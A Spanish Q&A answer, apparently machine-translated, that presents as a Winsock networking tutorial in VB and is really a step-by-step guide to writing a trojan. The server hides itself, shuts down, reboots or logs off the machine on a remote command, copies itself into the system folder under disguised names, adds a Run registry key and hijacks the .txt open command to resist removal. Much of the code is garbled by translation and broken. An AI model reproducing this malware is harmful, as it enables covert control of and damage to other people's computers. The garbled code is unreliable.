Red de conocimiento informático - Problemas con los teléfonos móviles - ¿Cómo programar para lograr comunicación de red usando el control winsock en VB? ¿Tanto el servidor como el cliente tienen que escribir programas separados?

¿Cómo programar para lograr comunicación de red usando el control winsock en VB? ¿Tanto el servidor como el cliente tienen que escribir programas separados?

Primero, cree un nuevo proyecto llamado Servidor, cree un nuevo formulario con el nombre frmServer, agregue un control winsock al formulario, establezca el nombre en sckServer y establezca el protocolo en el protocolo TCP/IP predeterminado. .

A continuación volvemos al módulo de formulario frmServer y agregamos el siguiente código:

Private Sub form_Load()

Conmigo

sckServer.LocalPort = 4000'Puerto local

.sckServer.Listen 'Comenzar a escuchar

Finalizar con

End Sub

'Aceptar. Los clientes finalizan la solicitud de conexión.

Sub privada sckServer_ConnectionRequest(ByVal requestID As Long)

Conmigo

Si .sckServer.State <>sckClosed Entonces .sckServer.Close

.sckServer.Accept (requestID)

Terminar con

End Sub

Creemos un programa cliente: cree un nuevo proyecto llamado Cliente y asigne un nombre al formulario. frmClient, agregue un control winsock, llamado sckClient, y el protocolo es TCP/IP. Agregue otro botón cmdConnect y agregue código al módulo de formulario:

Private Sub form_Load()

With Me

.sckClient.RemoteHost = "127.0.0.1 " 'Establezca la IP remota, en este caso configúrela en la máquina local.

.sckClient.RemotePort = 4000 'Puerto remoto, igual que la configuración en el servidor.

Terminar con

End Sub

Sub privado cmdConnect_Click()

SckClient.Connect

End sub

En este punto, haga clic en el botón Conectar y nuestros dos proyectos podrán comunicarse, pero vea No, puede agregar el código al evento sckClient_Connect en el Cliente: debug.print "¡Conexión exitosa!" para verificarlo.

Este es solo el primer paso y no hay ningún trabajo. Vamos a agregarles funcionalidad. En aras de la simplicidad, planeamos implementar algunas funciones pequeñas: apagar, reiniciar y cerrar sesión.

Bien, ¡comencemos!

Cree un nuevo módulo en el proyecto del servidor con el nombre modApi. Este módulo contiene algunas funciones API. Agregue las siguientes funciones API:

Función de declaración pública SalirWindowsEx Lib "user32" Alias. ​"Salir de WindowsEx " (ByVal uFlags siempre, ByVal dwReserved siempre) mientras

Const pública EWX_LOGOFF = 0

Const pública EWX_REBOOT = 2

Const pública EWX_SHUTDOWN = 1

Función de declaración pública ClipCursor Lib "user32" Alias ​​​​"ClipCursor" (lpRect como cualquiera) siempre que

Tipo público RECT

Dejado como Largo

Arriba mientras sea largo

Derecha mientras tanto

Abajo como largo

Tipo final

Nota: Programación En dos sockets, el evento importante para la comunicación es el evento DataArrival, que se utiliza para recibir datos remotos.

A continuación se colocan tres botones en el formulario frmClient del proyecto Cliente, a saber, cmdExit, cmdLogoff y cmdReboot. Se utilizan para operaciones de apagado, cierre de sesión y reinicio remotos. Agregue los siguientes códigos respectivamente:

Private Sub cmdExit_Click()

Me.sckClient.SendData "Exit"

End Sub

Privado Sub cmdLogoff_Click()

Me.sckClient.SendData "Logoff"

End Sub

Sub privado cmdReboot_Click()

Me.sckClient SendData "Reboot"

End Sub

Todas las solicitudes se realizan al servidor. Ahora vaya al proyecto del Servidor: agregue el evento DataArrial de sckServer en frmServer para recibir la solicitud del cliente.

Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)

Dim strData As String

Conmigo

'' Recibir la información solicitada por el cliente

.sckServer.GetData strData

Seleccionar caso strData

Caso "Salir"

''Apagar

Llamar a ExitWindowsEx(EWX_SHUTDOWN, 0)

Caso "Reiniciar"

''Reiniciar

Llamar a ExitWindowsEx(EWX_REBOOT, 0)

Caso "Cerrar sesión"

''Cerrar sesión

Llamar a SalirWindowsEx(EWX_LOGOFF, 0)

Finalizar selección

Finalizar con

End Sub

Bien, ahora hemos implementado la función, pero todavía no, queremos que se ejecute detrás de escena. Esto es simple, agregue la oración: me.hide al evento form_Load en frmServer. Afortunadamente, ahora es invisible, pero todo el mundo sabe que el troyano se ejecuta automáticamente tan pronto como se enciende la computadora. ¿Por qué sucede esto y cómo se logra? ¿Agregarlo al grupo de inicio en el registro? ¡Sí, bien, ven conmigo!

Vuelva a modApi en el proyecto del servidor y agregue la siguiente función API:

Función de declaración pública RegOpenKey Lib "advapi32.dll" Alias ​​​​"RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey como cadena, phkResult As Long) As Long

Función de declaración pública RegSetvalueEx Lib "advapi32.dll" Alias ​​​​"RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName Como cadena, ByVal reservado como Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Función de declaración pública RegCreateKey Lib "advapi32.dll" Alias ​​​​"RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As Cadena, phkResult As Long) As Long

Const pública REG_BINARY = 3

Const pública REG_SZ = 1

Const pública HKEY_LOCAL_MACHINE = &H80000002

Public Const HKEY_CLASSES_ROOT = &H80000000

Un proceso escrito en el grupo de inicio del registro.

Public Sub StartupGroup()

Atenuar sKey Como Cadena

Atenuar resultado Mientras

Atenuar hKeyID Mientras

Dim sKeyVal As String

sKey = "Systrsy" ''Inicie la clave en el grupo y busque una que sea similar al archivo del sistema.

sKeyVal = "C:\windows\system\systrsy.exe" ''La ruta del archivo troyano, puede usar GetSystemDirectory para obtener la ruta del sistema.

resultado = RegOpenKey(HKEY_LOCAL_MACHINE, _

"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)

Si resultado = 0 Entonces

resultado = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _

Len(sKey) + 1)

Fin si

Fin Sub

Está bien, eso es todo. Sin embargo, ¿alguna vez lo ha pensado? Si no es un novato y lo elimina del registro, ¿no sería en vano nuestro arduo trabajo? No, aún debes asegurarte de que no pueda borrarlo incluso si lo encuentra. Mire el siguiente código:

Public Sub WriteToTxt()

Dim result As Long

Dim hKeyID As Long

Dim skey Como cadena

Dim skeyVal Como cadena

skey = "txtfile\shell\open\command"

skeyVal = "C:\windows\system\txtView. exe "

resultado = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)

Si resultado = 0 Entonces

resultado = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _

skeyVal, Len(skeyVal) + 1)

End If

End Sub

Estoy seguro de que muchos amigos lo sabrán de un vistazo. , originalmente asociado con archivos txt, lo cual no está nada mal, pero ¿de dónde vino C:\windows\system\txtView.exe? Nuestro troyano es C:\windows\system\systrsy.exe. Este es el clon de nuestro caballo de Troya.

Bien, regrese al form_Load del formulario frmServer del proyecto Servidor y agregue el siguiente código:

Dim sCurrentPath As String, sSystemDir As String

sCurrentPath = App .Path & "\" & App.EXEName & ".exe"

sSystemDir = “C:\windows\system”

En caso de error, reanudar a continuación

'Copia el archivo a Systrsy.exe en el directorio del sistema

FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"

En caso de error, reanudar a continuación

Copie el archivo a txtView.exe en el directorio del sistema

FileCopy sCurrentPath, sSystemDir & "\txtView.exe"

Llamar

Llamar a startupGroup

Llamar a WriteToTxt

''Determinar si el programa se está ejecutando

Si App.PrevInstance Entonces

'Salir si ya se está ejecutando.

Finalizar

Finalizar si